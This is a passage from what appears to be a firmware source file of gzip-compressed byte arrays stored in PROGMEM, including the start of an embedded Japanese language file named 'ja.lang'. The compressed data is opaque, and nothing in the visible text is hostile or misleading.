0x62, 0x74, 0xfe, 0xfd, 0x59, 0xfb, 0xba, 0x79, 0x53, 0x3d, 0xaa, 0xd7, 0x56, 0x6b, 0x2e, 0xf5, 0x54, 0x5f, 0xb8, 0xe9, 0x94, 0x1e, 0x32, 0x97, 0x78, 0x5a, 0x63, 0x55, 0xa7, 0x9a, 0x8c, 0x9d, 0x0b, 0x4d, 0xed, 0x6e, 0x3c, 0x50, 0xbd, 0x84, 0xca, 0x6c, 0x09, 0xae, 0x42, 0xad, 0xbb, 0xf8, 0xad, 0xb2, 0x72, 0x6c, 0xd4, 0x85, 0x97, 0x36, 0x71, 0x59, 0xb4, 0xd7, 0x35, 0x6c, 0x0a, 0x06, 0x0b, 0x1a, 0xe4, 0x6f, 0x7f, 0x15, 0xcf, 0x61, 0x7a, 0x31, 0xb4, 0x33, 0x85, 0xe8, 0x87, 0x71, 0x0a, 0xca, 0x81, 0x9a, 0x7f, 0x7c, 0xca, 0xd6, 0x67, 0x2a, 0x68, 0xd3, 0x96, 0xb3, 0xb8, 0xfa, 0x02, 0xc5, 0x73, 0xc2, 0x7c, 0xa5, 0x3d, 0x98, 0xc8, 0x32, 0x32, 0xa6, 0x7f, 0x04, 0x3b, 0x3e, 0x36, 0x39, 0xdb, 0xaf, 0x3a, 0x38, 0x36, 0x53, 0x56, 0x79, 0xea, 0x1d, 0xa8, 0xe0, 0x22, 0x05, 0x78, 0xbd, 0x4c, 0xa8, 0x6a, 0x75, 0xaa, 0x0d, 0xa8, 0xfe, 0x41, 0x55, 0xb9, 0x29, 0xf5, 0x1a, 0x19, 0x1e, 0x42, 0x29, 0x54, 0x09, 0x0a, 0x01, 0xb6, 0xaf, 0x6a, 0x08, 0x41, 0x9b, 0xd8, 0xd4, 0x9d, 0xc8, 0x82, 0x8a, 0x81, 0xac, 0xa3, 0x32, 0x9e, 0x42, 0x84, 0x6a, 0xc2, 0x15, 0xba, 0x6a, 0x3b, 0xa8, 0xeb, 0x20, 0xc6, 0x9a, 0x10, 0x2e, 0xf4, 0x0a, 0xe8, 0x9c, 0xcb, 0xed, 0x14, 0x31, 0xc2, 0x05, 0x3b, 0x16, 0x35, 0x92, 0x96, 0x22, 0x27, 0x35, 0x1a, 0x9a, 0x75, 0xee, 0x9e, 0xe3, 0x2f, 0x84, 0xf5, 0xb0, 0x21, 0xe2, 0x91, 0x1b, 0x76, 0x61, 0x0a, 0x11, 0x0e, 0x12, 0xee, 0xd2, 0x7a, 0x17, 0x57, 0x9b, 0xb6, 0x47, 0x82, 0x00, 0xb1, 0xdb, 0xb9, 0x1c, 0x3c, 0x38, 0x3c, 0xfc, 0x43, 0xcb, 0x41, 0x89, 0xcf, 0x66, 0x88, 0x74, 0x32, 0x69, 0x42, 0xf8, 0x82, 0x3a, 0x75, 0x85, 0x2c, 0x08, 0x3d, 0xcc, 0xe3, 0x36, 0xe6, 0xe0, 0xd3, 0x8b, 0x8e, 0x38, 0xce, 0x74, 0xea, 0x3c, 0x65, 0x16, 0x58, 0xef, 0x9d, 0x35, 0xa0, 0xef, 0xa9, 0xae, 0x2e, 0x56, 0x29, 0x9b, 0x08, 0x89, 0x3e, 0x86, 0xd8, 0x28, 0x89, 0x93, 0xc8, 0xd1, 0xd0, 0x26, 0x92, 0x1d, 0x57, 0xd4, 0x1e, 0x56, 0x1d, 0xa0, 0x89, 0xc1, 0xcc, 0xda, 0x34, 0xb2, 0x05, 0x6e, 0x50, 0x66, 0x57, 0xe8, 0xac, 0x90, 0xd7, 0x5c, 0xa3, 0xa9, 0x7c, 0x4c, 0xdd, 0x0c, 0xad, 0x07, 0xf5, 0x9e, 0xcd, 0x71, 0x15, 0x4b, 0x0f, 0x75, 0x4e, 0x6b, 0x3b, 0x21, 0x23, 0x73, 0xc4, 0x51, 0xe2, 0x53, 0xd3, 0xd2, 0xab, 0xb4, 0x72, 0xab, 0x82, 0x03, 0x29, 0x6b, 0x70, 0x89, 0xc0, 0xdb, 0x09, 0x1b, 0xfa, 0x59, 0xe1, 0x2c, 0xb7, 0x6e, 0xb5, 0xe9, 0x2d, 0xf7, 0x25, 0x3b, 0xdd, 0x0d, 0xb8, 0x00, 0x42, 0x34, 0x20, 0x7c, 0x00, 0xa0, 0x1e, 0xf7, 0xcf, 0x81, 0x16, 0xe6, 0x4a, 0x66, 0x50, 0x20, 0x8f, 0x71, 0xc4, 0x6b, 0xd7, 0x28, 0x9a, 0xe5, 0x3b, 0xd8, 0x9e, 0x74, 0x4c, 0x35, 0x61, 0x93, 0x85, 0x35, 0xa9, 0xe1, 0x98, 0x4b, 0x52, 0x24, 0x86, 0x6e, 0xd3, 0x40, 0x47, 0x79, 0x5c, 0x41, 0x71, 0x07, 0x42, 0x69, 0x01, 0x94, 0x68, 0xb5, 0xbc, 0x82, 0x2e, 0x0f, 0x55, 0x58, 0x25, 0xb0, 0x67, 0x05, 0x04, 0x5c, 0x77, 0xbb, 0x1b, 0x11, 0x45, 0x6b, 0xa5, 0x43, 0x55, 0x69, 0x81, 0x95, 0x21, 0x66, 0x0d, 0x57, 0x9a, 0x46, 0xfb, 0xe3, 0x2a, 0x62, 0xe1, 0xca, 0x58, 0x82, 0xd2, 0xa8, 0xa8, 0x6a, 0xe2, 0x1f, 0x39, 0x99, 0xb6, 0xe8, 0x9e, 0x32, 0x34, 0x52, 0xcf, 0xc7, 0x33, 0x03, 0x3b, 0x50, 0x42, 0xe7, 0x1c, 0xc0, 0xcd, 0xd5, 0x4c, 0xcf, 0xd0, 0xed, 0x9b, 0x38, 0x8d, 0x18, 0x02, 0x11, 0x4c, 0xd7, 0xeb, 0xb9, 0x34, 0x74, 0x12, 0xf7, 0xb8, 0x73, 0x19, 0xda, 0x84, 0xc5, 0xae, 0x35, 0x31, 0x2b, 0xba, 0x7a, 0x2b, 0x49, 0xbb, 0x7c, 0x07, 0x78, 0x8d, 0x68, 0xc1, 0x09, 0x11, 0x19, 0xfa, 0xb6, 0x22, 0xf9, 0x88, 0x1d, 0xbc, 0x40, 0xa0, 0x73, 0x6b, 0x4c, 0xc5, 0xdd, 0xde, 0xfe, 0xda, 0x9e, 0x83, 0x3d, 0x73, 0xe0, 0x7f, 0xbb, 0x0f, 0xb7, 0x08, 0x34, 0xef, 0xbe, 0x1a, 0x06, 0xcc, 0x65, 0x2c, 0x7a, 0xe4, 0xa1, 0x20, 0x97, 0x5c, 0xf7, 0x0d, 0x39, 0x09, 0x0e, 0x42, 0xab, 0xd5, 0x8b, 0xdf, 0x4e, 0x96, 0x1e, 0x74, 0x4b, 0xec, 0x05, 0xe8, 0x74, 0xae, 0x63, 0x2b, 0xf7, 0xa3, 0xf2, 0x85, 0x66, 0x39, 0x36, 0x68, 0xe6, 0x96, 0xe6, 0x40, 0xac, 0x1f, 0x1c, 0x1c, 0x46, 0x48, 0x90, 0xfd, 0xba, 0x5b, 0x75, 0xc2, 0x68, 0x9b, 0x88, 0x7a, 0xa7, 0xc0, 0x4c, 0x8e, 0xeb, 0xa6, 0x6a, 0x92, 0x68, 0x37, 0xfd, 0x8b, 0x88, 0x1b, 0xee, 0x09, 0x76, 0xe4, 0x9d, 0x80, 0x6f, 0xa4, 0xdb, 0x89, 0x59, 0x31, 0x30, 0x16, 0x4a, 0xdc, 0x23, 0xc5, 0x5a, 0xfc, 0x5e, 0x2b, 0xf2, 0xeb, 0xfd, 0x03, 0x9a, 0xcb, 0x30, 0x03, 0xa4, 0x34, 0x38, 0xe2, 0xb4, 0xfb, 0xf2, 0xa8, 0x25, 0x87, 0x75, 0x42, 0x46, 0x86, 0x04, 0x88, 0xb1, 0x5a, 0xf5, 0x45, 0x83, 0xe9, 0xf2, 0x4b, 0xe7, 0x93, 0xbd, 0xff, 0x49, 0xba, 0x85, 0x32, 0xd4, 0x6b, 0xc9, 0x4f, 0x12, 0xef, 0x9b, 0xff, 0x41, 0xbc, 0x4e, 0x6b, 0x09, 0x3e, 0xda, 0xd4, 0x5a, 0x82, 0xbe, 0x56, 0x32, 0xea, 0x2d, 0xb8, 0xf1, 0xa6, 0x36, 0x9b, 0xc8, 0x1b, 0x05, 0xea, 0xa0, 0xc2, 0xa5, 0x2d, 0x9f, 0xcf, 0x75, 0x82, 0x64, 0x89, 0xdd, 0xbb, 0x07, 0x47, 0xde, 0x09, 0x42, 0x1f, 0xd6, 0x1a, 0x28, 0xfb, 0x1b, 0xea, 0xf6, 0x45, 0x97, 0xcb, 0xa0, 0xd7, 0xea, 0xcc, 0xd1, 0x14, 0x66, 0xab, 0xfc, 0xd2, 0xad, 0xd5, 0x7b, 0x1c, 0x49, 0x0b, 0x06, 0x61, 0x37, 0x8a, 0x51, 0xc9, 0xfa, 0x94, 0xdb, 0x50, 0x1e, 0x5d, 0xdd, 0x7d, 0xf6, 0x2f, 0xaa, 0x69, 0xfc, 0x7e, 0x5d, 0xb9, 0x08, 0x72, 0x52, 0xf6, 0xc5, 0xb8, 0x37, 0x17, 0x10, 0x74, 0x06, 0xb0, 0x50, 0xa7, 0x2b, 0x22, 0xe1, 0x36, 0x02, 0x67, 0xd8, 0x7d, 0x4f, 0xdd, 0x1c, 0x6f, 0x35, 0x99, 0xdc, 0xea, 0xdd, 0x3d, 0x86, 0xe7, 0x66, 0x06, 0xb8, 0x50, 0xa8, 0x74, 0x65, 0x13, 0xa6, 0x07, 0xbd, 0x63, 0xc1, 0x6f, 0xd0, 0x1e, 0x5e, 0xed, 0x30, 0x53, 0xaa, 0x69, 0xd4, 0x86, 0xb2, 0x55, 0xfb, 0xe7, 0x8e, 0x48, 0xd5, 0xde, 0x73, 0x48, 0xe4, 0x56, 0xa1, 0x16, 0x4a, 0x50, 0xc7, 0xe7, 0x92, 0xa5, 0xf2, 0x13, 0x40, 0x5c, 0x5d, 0x84, 0xab, 0xf6, 0xa5, 0x3d, 0x55, 0x23, 0x32, 0x43, 0xf9, 0x66, 0xcd, 0x08, 0x2d, 0x97, 0x2e, 0x10, 0x6c, 0x35, 0x0d, 0x2a, 0x07, 0x30, 0x40, 0x0c, 0x8b, 0x95, 0x8d, 0x7c, 0x5e, 0x0b, 0x8d, 0xd3, 0x11, 0x80, 0x34, 0x39, 0x22, 0x46, 0x1c, 0x09, 0x57, 0xa4, 0x42, 0x95, 0x39, 0xd1, 0x27, 0x1d, 0x0e, 0xfc, 0x56, 0xe4, 0xe5, 0xca, 0xeb, 0x9d, 0x81, 0x10, 0xe9, 0x6e, 0xad, 0x1e, 0x37, 0x71, 0x04, 0x8c, 0x34, 0xa5, 0xb5, 0x86, 0xc0, 0x33, 0x5e, 0x82, 0xda, 0xf1, 0xf9, 0x8e, 0x03, 0x87, 0x93, 0xb9, 0xdb, 0xe5, 0x74, 0x85, 0xe7, 0x08, 0x2a, 0x14, 0x2d, 0xc4, 0x7b, 0x75, 0x47, 0xf9, 0x2e, 0xa0, 0xf8, 0x21, 0xbc, 0xd0, 0x5f, 0x41, 0xf7, 0xf2, 0x3d, 0xea, 0xb7, 0xa2, 0x42, 0xd5, 0x3b, 0x17, 0xe9, 0xb0, 0x43, 0xca, 0x7e, 0x92, 0xa8, 0x70, 0x67, 0xcf, 0x68, 0xa9, 0xa7, 0xd3, 0x7c, 0xc7, 0xce, 0xd1, 0xd9, 0xe9, 0xc9, 0xc9, 0x68, 0xc0, 0xf5, 0x42, 0xd0, 0x10, 0xaf, 0xc0, 0x41, 0xd8, 0x20, 0xa6, 0xe5, 0x66, 0x61, 0xa8, 0x89, 0xea, 0x1d, 0x65, 0xe2, 0x3c, 0x64, 0x5b, 0x9f, 0x7b, 0x2f, 0xbf, 0x7b, 0x78, 0x9f, 0xa7, 0x09, 0xd3, 0x15, 0x0d, 0x81, 0x6f, 0xb6, 0x24, 0x40, 0x6f, 0x3c, 0x99, 0xf3, 0xec, 0x45, 0xfe, 0x7c, 0x50, 0x93, 0x12, 0x9a, 0x2f, 0x76, 0xc6, 0x14, 0xb0, 0xec, 0x0f, 0x23, 0xf1, 0x47, 0x71, 0x74, 0xb4, 0x2f, 0x86, 0x3f, 0xd0, 0x3f, 0xbe, 0xdc, 0x17, 0x7f, 0x02, 0x78, 0x20, 0x26, 0xf0, 0xe3, 0xf7, 0xdb, 0x27, 0x4e, 0x8e, 0xcf, 0x22, 0x2e, 0xee, 0xc2, 0x3e, 0x02, 0x7c, 0xf2, 0x79, 0x8b, 0x15, 0xcf, 0x8f, 0x1f, 0x0d, 0x26, 0xe5, 0x9b, 0x0c, 0xd7, 0x9c, 0x28, 0x33, 0x47, 0x54, 0x2d, 0x56, 0x69, 0x3d, 0x00, 0x44, 0xd8, 0x36, 0x1d, 0x56, 0xbd, 0xb0, 0xaa, 0x25, 0x29, 0xc3, 0x19, 0x77, 0x43, 0x41, 0xe5, 0x55, 0x9b, 0x3b, 0x06, 0xb4, 0xc2, 0x47, 0xf5, 0x52, 0x6a, 0x94, 0x00, 0x03, 0x30, 0xc4, 0x6f, 0xc9, 0x72, 0x17, 0x22, 0xee, 0xa8, 0x33, 0x0a, 0x15, 0x90, 0x36, 0x23, 0x91, 0xff, 0xb7, 0x16, 0x4c, 0x0f, 0x17, 0x34, 0xfb, 0x34, 0x1f, 0xd2, 0xa1, 0x7f, 0xff, 0xc7, 0x24, 0x9f, 0xcc, 0x6b, 0xb4, 0x19, 0xc6, 0x49, 0xf4, 0x1d, 0xd7, 0x82, 0x38, 0x01, 0xd2, 0x74, 0xa2, 0x50, 0x29, 0x55, 0xe1, 0x55, 0xb2, 0x95, 0xfc, 0x99, 0x8e, 0xc3, 0x7d, 0x22, 0x66, 0x4b, 0xab, 0x22, 0xf9, 0x01, 0x88, 0x71, 0x1e, 0x00, 0x9c, 0xee, 0xb5, 0x2a, 0x44, 0x11, 0x9b, 0x5b, 0x56, 0x33, 0xcf, 0xfc, 0xfc, 0x23, 0xf0, 0x8b, 0x34, 0x7b, 0xcc, 0x2d, 0x4a, 0x1e, 0x03, 0xe6, 0x37, 0xfa, 0x15, 0x08, 0x89, 0x95, 0x1a, 0xd2, 0x01, 0x0b, 0xf9, 0xc3, 0x4e, 0xd6, 0xd3, 0x83, 0x4c, 0x28, 0x39, 0xc8, 0xab, 0x89, 0x05, 0x99, 0x87, 0xbe, 0x64, 0x90, 0x59, 0x6b, 0x94, 0xd9, 0x02, 0x64, 0x1e, 0xae, 0x84, 0x16, 0xfc, 0x86, 0xd6, 0x5e, 0x45, 0x90, 0xc2, 0xee, 0x77, 0x86, 0x8a, 0x73, 0xcf, 0x1a, 0xf7, 0xbb, 0x00, 0x1d, 0x3f, 0xc8, 0xc0, 0x1b, 0x5d, 0xc6, 0xc4, 0xa8, 0xd7, 0x20, 0xdb, 0xc7, 0x70, 0x0d, 0x44, 0x68, 0xa2, 0x96, 0x90, 0xa1, 0x9a, 0x21, 0x1e, 0xc7, 0x59, 0x05, 0x8f, 0x0d, 0x5c, 0x96, 0x45, 0x1e, 0xb9, 0xf4, 0xe5, 0x0d, 0x7d, 0x7b, 0xa9, 0x99, 0x77, 0x43, 0x5b, 0x89, 0x06, 0xd2, 0x80, 0x35, 0x9e, 0xce, 0xd4, 0xad, 0xe0, 0xef, 0x1c, 0xe0, 0xae, 0x40, 0x0c, 0xac, 0x95, 0xe8, 0x7c, 0xc7, 0x5e, 0xb2, 0x5f, 0x78, 0xc6, 0xbf, 0x35, 0x6c, 0xc1, 0x2a, 0x6a, 0x52, 0x55, 0x80, 0x5f, 0x79, 0xf0, 0x07, 0xda, 0xa8, 0x98, 0xbc, 0xfb, 0x19, 0x0d, 0x2e, 0x72, 0x81, 0xea, 0x14, 0x41, 0x8b, 0x98, 0xee, 0x33, 0xbc, 0x03, 0x20, 0x96, 0x37, 0x6b, 0x62, 0xfd, 0xfb, 0xf1, 0xf3, 0x49, 0x8f, 0xe0, 0x51, 0x8f, 0x45, 0x5f, 0x58, 0x36, 0xf1, 0x3b, 0x94, 0xb6, 0xe8, 0x7a, 0xc7, 0xda, 0xc4, 0x47, 0x81, 0x7a, 0x42, 0x1d, 0x87, 0x9b, 0xf0, 0x1f, 0xfa, 0x2a, 0x92, 0x13, 0xe7, 0x32, 0xec, 0x54, 0x82, 0x8b, 0x07, 0x5f, 0x7d, 0xd5, 0xc7, 0xea, 0xe8, 0xce, 0x1c, 0x2e, 0x88, 0xd3, 0x56, 0x9e, 0x08, 0xb3, 0x9d, 0xee, 0x44, 0x0a, 0x15, 0x66, 0x6a, 0xf7, 0xf3, 0xdc, 0x4d, 0x74, 0x27, 0x78, 0x78, 0xfa, 0x02, 0x0d, 0xd9, 0x70, 0x08, 0xc2, 0xa6, 0xe9, 0xb3, 0x9d, 0xbe, 0xa1, 0x7f, 0xdf, 0x4b, 0x25, 0xf3, 0xc8, 0x6f, 0x91, 0xf3, 0x2e, 0x25, 0xae, 0x5a, 0x37, 0x85, 0x9d, 0xa9, 0x58, 0x1d, 0x9a, 0x20, 0x61, 0xbb, 0x9a, 0x89, 0xcc, 0xd9, 0x64, 0x51, 0x4f, 0xd4, 0x1a, 0x0a, 0x91, 0x52, 0x52, 0x71, 0x97, 0x4c, 0xfd, 0x3c, 0x7d, 0xdc, 0x4a, 0x05, 0x7f, 0x5b, 0x6a, 0xba, 0xf8, 0xbe, 0x40, 0xb1, 0xf1, 0xea, 0xd0, 0xb9, 0x27, 0x3b, 0x38, 0xcd, 0x7e, 0x85, 0x22, 0x9d, 0x3a, 0x51, 0x09, 0x17, 0x3e, 0xd4, 0xc3, 0xb2, 0xd0, 0xf4, 0xd9, 0xb2, 0x6e, 0xef, 0xda, 0xbe, 0x1a, 0xed, 0x6d, 0xe0, 0x56, 0x01, 0x1d, 0xa7, 0xdf, 0x25, 0xd1, 0x69, 0x67, 0x60, 0x0e, 0x91, 0xf4, 0x4c, 0x16, 0xfb, 0xcd, 0xdc, 0xaf, 0x93, 0xb5, 0x4d, 0x06, 0xa9, 0x68, 0x6e, 0x50, 0x56, 0x0a, 0x2a, 0x82, 0x1d, 0xb0, 0x85, 0xaa, 0x75, 0x44, 0x85, 0x11, 0x4f, 0xe8, 0x93, 0x54, 0xa6, 0x73, 0xdf, 0x34, 0x7d, 0xf4, 0xe5, 0x4b, 0x16, 0xdd, 0xe1, 0x88, 0x38, 0x3a, 0x3c, 0x14, 0x59, 0xce, 0xc3, 0x5e, 0x84, 0xce, 0x13, 0x62, 0xc8, 0x08, 0xaf, 0xde, 0x12, 0x8b, 0xd8, 0xa3, 0x68, 0x8f, 0xc1, 0xa7, 0x63, 0xbb, 0xc3, 0xc3, 0x0b, 0xd0, 0x37, 0x04, 0x7f, 0x9d, 0x07, 0x22, 0x5f, 0xca, 0x8c, 0x0c, 0xc4, 0x1c, 0x05, 0x08, 0x9b, 0xa8, 0x48, 0xb9, 0xf9, 0xc0, 0x44, 0x69, 0x6a, 0x90, 0x3c, 0x75, 0x25, 0xfb, 0xed, 0x60, 0xbe, 0xee, 0x26, 0xe1, 0xde, 0x40, 0xdf, 0xbb, 0xe8, 0xa3, 0x64, 0xda, 0x52, 0x45, 0x4e, 0xa9, 0x06, 0x94, 0xaa, 0x71, 0x79, 0xdf, 0x7a, 0x71, 0xb4, 0x74, 0xfe, 0x97, 0x1d, 0xf5, 0x7e, 0x7b, 0x76, 0x04, 0x9e, 0xb4, 0xd6, 0xfc, 0xb9, 0x2f, 0x7e, 0x23, 0x85, 0x49, 0x32, 0x1a, 0x55, 0x86, 0xad, 0xf9, 0x6a, 0x6c, 0x6d, 0xbd, 0xfa, 0xdb, 0x4a, 0x51, 0x67, 0x57, 0x9b, 0xbe, 0xed, 0xcb, 0xa9, 0x87, 0xef, 0x37, 0x2f, 0xb4, 0x23, 0x3f, 0x53, 0x9e, 0xc4, 0x6e, 0xb1, 0x6f, 0xc7, 0x41, 0xdb, 0xc9, 0x53, 0xd1, 0x22, 0xc2, 0x82, 0x3c, 0x2a, 0x0d, 0x4f, 0x6e, 0xf1, 0x90, 0xea, 0x7f, 0x1d, 0xb8, 0xf3, 0x99, 0xe1, 0x4e, 0xbb, 0x41, 0x53, 0xd7, 0x35, 0x91, 0x8b, 0xef, 0xba, 0x53, 0x55, 0x9e, 0x65, 0x76, 0x27, 0xab, 0x34, 0x14, 0x80, 0x85, 0xa8, 0x79, 0xe4, 0x1d, 0x3a, 0x12, 0xa0, 0xcf, 0xf7, 0x3e, 0xfb, 0xc7, 0x7f, 0x01, 0x76, 0x20, 0xa0, 0x15, 0xae, 0x20, 0x00, 0x00};\nconst char jalang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x6a, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xbd, 0x5a, 0xdd, 0x53, 0x1b, 0xd7, 0x15, 0x7f, 0x6e, 0xfe, 0x0a, 0x99, 0x27, 0x67, 0x26, 0x4e, 0xc0, 0x69, 0x32, 0x6e, 0x66, 0xfa, 0xe0, 0xc6, 0xb8, 0xe3, 0x69, 0xda, 0x7a, 0x4c, 0x3a, 0xe9, 0x03, 0x33, 0x8c, 0x10, 0x22, 0x56, 0x8b, 0x25, 0x46, 0x92, 0x4d, 0x3b, 0x9d, 0xce, 0xb0, 0xbb, 0x7c, 0x49, 0x08, 0x64, 0x30, 0xe2, 0x4b, 0xd8, 0xe2, 0x43, 0x20, 0x21, 0x59, 0x12, 0x84, 0x24, 0x60, 0x30, 0xe8, 0x8f, 0xb9, 0xda, 0xd5, 0xea, 0xa9, 0xff, 0x42, 0xcf, 0xc7, 0xde, 0xd5, 0xae, 0x90, 0x84, 0xa7, 0x93, 0x69, 0x1e, 0x88, 0x74, 0xf7, 0xee, 0xb9, 0xe7, 0x9c, 0xfb, 0x3b, 0xbf, 0xf3, 0x21, 0xff, 0xeb, 0x23, 0x0f, 0xfc, 0xd7, 0x33, 0xe6, 0x0d, 0x7e, 0xdf, 0xf3, 0x95, 0xa7, 0xe7, 0x6f, 0xde, 0x9e, 0x4f, 0x78, 0x65, 0xc2, 0x1b, 0x0e, 0x06, 0x78, 0xd1, 0x2c, 0x1d, 0xe8, 0x4b, 0x71, 0xf9, 0x60, 0x24, 0x10, 0xf1, 0x8d, 0x79, 0x03, 0xcf, 0xfc, 0x61, 0x7c, 0x26, 0x94, 0x57, 0x42, 0x29, 0x0b, 0x6d, 0x4d, 0x68, 0x25, 0xa1, 0x9e, 0x09, 0x35, 0x27, 0xd4, 0x8a, 0xd0, 0xe6, 0x84, 0x02, 0x7f, 0x67, 0x84, 0xfa, 0x0e, 0x3e, 0xeb, 0xc9, 0xb8, 0x50, 0x4e, 0xf4, 0xd2, 0x81, 0xb9, 0xf3, 0xaa, 0xbe, 0x39, 0x25, 0x94, 0x42, 0x3d, 0x5d, 0xa6, 0x0f, 0x65, 0xe3, 0x40, 0xd5, 0xab, 0x3f, 0xe9, 0xe5, 0x8c, 0x99, 0x7f, 0x2f, 0x94, 0x9c, 0x50, 0x36, 0xc4, 0xa4, 0x3a, 0x18, 0xec, 0x1f, 0x78, 0x7c, 0xef, 0xee, 0x97, 0x5f, 0xf2, 0x8b, 0x62, 0x52, 0x11, 0xca, 0x6b, 0xd8, 0x3c, 0xf0, 0xe0, 0x0f, 0x28, 0x16, 0xbf, 0xd2, 0xa1, 0x2a, 0x9c, 0x32, 0xe3, 0x94, 0x26, 0x94, 0x8c, 0x50, 0x15, 0x7a, 0xa4, 0xd2, 0xd7, 0x1c, 0xee, 0x57, 0x0a, 0x42, 0x99, 0xb2, 0x1e, 0x4d, 0xaa, 0x42, 0x7b, 0x29, 0xd4, 0x23, 0xa1, 0x24, 0x84, 0xa2, 0x0a, 0x75, 0x5e, 0x28, 0xf3, 0xb4, 0x79, 0x4d, 0xa8, 0xb0, 0x72, 0x25, 0x94, 0xb4, 0x50, 0x5f, 0x91, 0x0e, 0x83, 0x41, 0x23, 0x36, 0x69, 0x6c, 0xc5, 0x50, 0x27, 0xd8, 0xa7, 0xcd, 0xd2, 0x9b, 0x59, 0x34, 0x49, 0xc9, 0x0b, 0x6d, 0x41, 0x68, 0x1a, 0xda, 0xa9, 0x81, 0x9d, 0xef, 0xd1, 0x66, 0xa5, 0xa8, 0x57, 0xae, 0x50, 0x90, 0x72, 0x40, 0x67, 0x57, 0x6b, 0x97, 0xd5, 0xfa, 0x4a, 0x5e, 0xae, 0x24, 0x85, 0xb2, 0x2d, 0x94, 0x14, 0xaa, 0xc2, 0xd2, 0x1f, 0xf5, 0xf7, 0xf7, 0x7b, 0xee, 0xf5, 0xde, 0xfd, 0xb4, 0xaf, 0xcf, 0xc8, 0x6f, 0x18, 0xe7, 0xab, 0x20, 0xc1, 0xcc, 0xaf, 0x9b, 0xd5, 0x23, 0xdc, 0x86, 0xda, 0x64, 0xe0, 0x74, 0x3d, 0x0e, 0xc7, 0x15, 0xbe, 0x0b, 0xdc, 0x79, 0x18, 0x10, 0x5a, 0x4a, 0x68, 0x6f, 0xf1, 0x34, 0x6d, 0x5b, 0xa8, 0xcb, 0x24, 0x7b, 0x8a, 0x64, 0xc7, 0x85, 0x1a, 0x07, 0xb7, 0x34, 0xc0, 0x9f, 0xab, 0x25, 0xcb, 0xdb, 0x4b, 0x79, 0xe3, 0x64, 0xd7, 0x48, 0x1d, 0xa1, 0x93, 0x57, 0x0a, 0xb5, 0x77, 0xc7, 0xd2, 0x1b, 0x2a, 0x6e, 0x76, 0x59, 0x2a, 0x15, 0x45, 0x3b, 0xf5, 0xd8, 0x02, 0xea, 0x31, 0x5b, 0xd0, 0xd3, 0x97, 0xfa, 0xcc, 0x34, 0xbe, 0x7d, 0x92, 0x32, 0x0f, 0x92, 0x78, 0xe0, 0xee, 0xb9, 0x59, 0x58, 0xe8, 0x68, 0x4f, 0x67, 0x24, 0xc0, 0xb9, 0xe5, 0xc1, 0x1e, 0xfd, 0x20, 0xaf, 0x97, 0x4f, 0x06, 0x7b, 0x40, 0x92, 0x31, 0x95, 0xd4, 0xd3, 0x27, 0x24, 0x89, 0xef, 0x26, 0xd7, 0x22, 0x0f, 0xef, 0x1b, 0x3d, 0x50, 0xe9, 0x24, 0xd4, 0xd8, 0x7a, 0x6b, 0xbc, 0xde, 0x87, 0x47, 0xf2, 0xee, 0x8b, 0x7a, 0x72, 0xc1, 0xba, 0xa9, 0xe6, 0xdd, 0x33, 0x98, 0x3a, 0x2b, 0x96, 0x40, 0x45, 0x96, 0x4e, 0xac, 0xf7, 0xe0, 0x56, 0x61, 0xa7, 0xba, 0x00, 0x0a, 0xd6, 0x2e, 0xe1, 0x06, 0xd4, 0xfa, 0xcb, 0x19, 0x33, 0xb7, 0x47, 0x92, 0x16, 0xc8, 0xe6, 0x29, 0xa9, 0xef, 0x2b, 0xda, 0x9c, 0x00, 0xd0, 0x1a, 0xeb, 0x8b, 0xd6, 0x75, 0xa1, 0x04, 0xb0, 0x60, 0xc9, 0x71, 0x72, 0x43, 0x39, 0xd4, 0xe7, 0x66, 0xe1, 0x25, 0xb3, 0xf0, 0x16, 0x37, 0xaa, 0xcb, 0xe8, 0x75, 0x65, 0xd3, 0x82, 0x30, 0x5a, 0x58, 0x6c, 0xac, 0xee, 0x4a, 0xbd, 0x4f, 0x84, 0x76, 0x82, 0x41, 0x83, 0x7f, 0xa7, 0x60, 0x73, 0x63, 0x7a, 0x41, 0x3f, 0xd3, 0xa4, 0x76, 0x7c, 0x26, 0xc1, 0x1f, 0xd5, 0x2f, 0x20, 0xfe, 0xe0, 0x83, 0x3a, 0xa5, 0xbf, 0x5c, 0xd0, 0xf7, 0x8e, 0x84, 0x76, 0xd1, 0x98, 0x5d, 0x6a, 0xc4, 0x4b, 0x76, 0x34, 0xd4, 0xd5, 0x73, 0xd2, 0x45, 0x65, 0x74, 0xd4, 0x33, 0xfb, 0xb0, 0x6e, 0xfe, 0xb0, 0x53, 0x5f, 0xd9, 0x23, 0x51, 0x18, 0x52, 0xa6, 0x96, 0xd0, 0xaf, 0x50, 0x0d, 0x2b, 0x1a, 0x50, 0x87, 0x8c, 0xd0, 0xf6, 0x85, 0x36, 0x4f, 0xe1, 0x8b, 0x3b, 0xbf, 0x0b, 0x3c, 0x0c, 0x58, 0x08, 0x55, 0x97, 0xcd, 0x58, 0x85, 0xee, 0x6a, 0x4d, 0x3a, 0x24, 0x69, 0x07, 0x9d, 0x31, 0xc7, 0x2b, 0x45, 0x23, 0xf5, 0x16, 0x1c, 0x8b, 0x88, 0xc9, 0x9e, 0xd3, 0x95, 0xa2, 0xd3, 0x6a, 0xe7, 0xf3, 0x74, 0x4c, 0x41, 0xc2, 0x6f, 0xc3, 0xc2, 0x8d, 0x79, 0x78, 0x52, 0xff, 0xf1, 0x48, 0xde, 0xf5, 0x8e, 0x50, 0x63, 0x14, 0x93, 0xb1, 0xaf, 0x80, 0x70, 0x7e, 0xe5, 0x60, 0x9b, 0x3b, 0xc3, 0xcf, 0xa3, 0xd1, 0x50, 0x10, 0x49, 0xa7, 0x9e, 0x83, 0xf3, 0x2a, 0xc0, 0x49, 0x78, 0x00, 0xe8, 0x54, 0x28, 0x21, 0x94, 0x95, 0x9c, 0xbc, 0xb0, 0x35, 0x3a, 0x00, 0xfe, 0x66, 0x48, 0x46, 0xd8, 0x3f, 0x16, 0xf2, 0x8e, 0xe0, 0x8b, 0xfa, 0xcc, 0x02, 0x6c, 0x36, 0xaf, 0xde, 0xd3, 0x7a, 0xc4, 0xe7, 0x25, 0x71, 0x18, 0xd2, 0x6a, 0x49, 0x68, 0x7b, 0xe0, 0x79, 0x7e, 0x10, 0x09, 0x8c, 0x44, 0xf0, 0xc9, 0xc0, 0xc0, 0xa3, 0x07, 0xb4, 0xe2, 0x8d, 0x46, 0xbd, 0xbe, 0xbf, 0xd3, 0x9a, 0xb1, 0x72, 0x61, 0x2c, 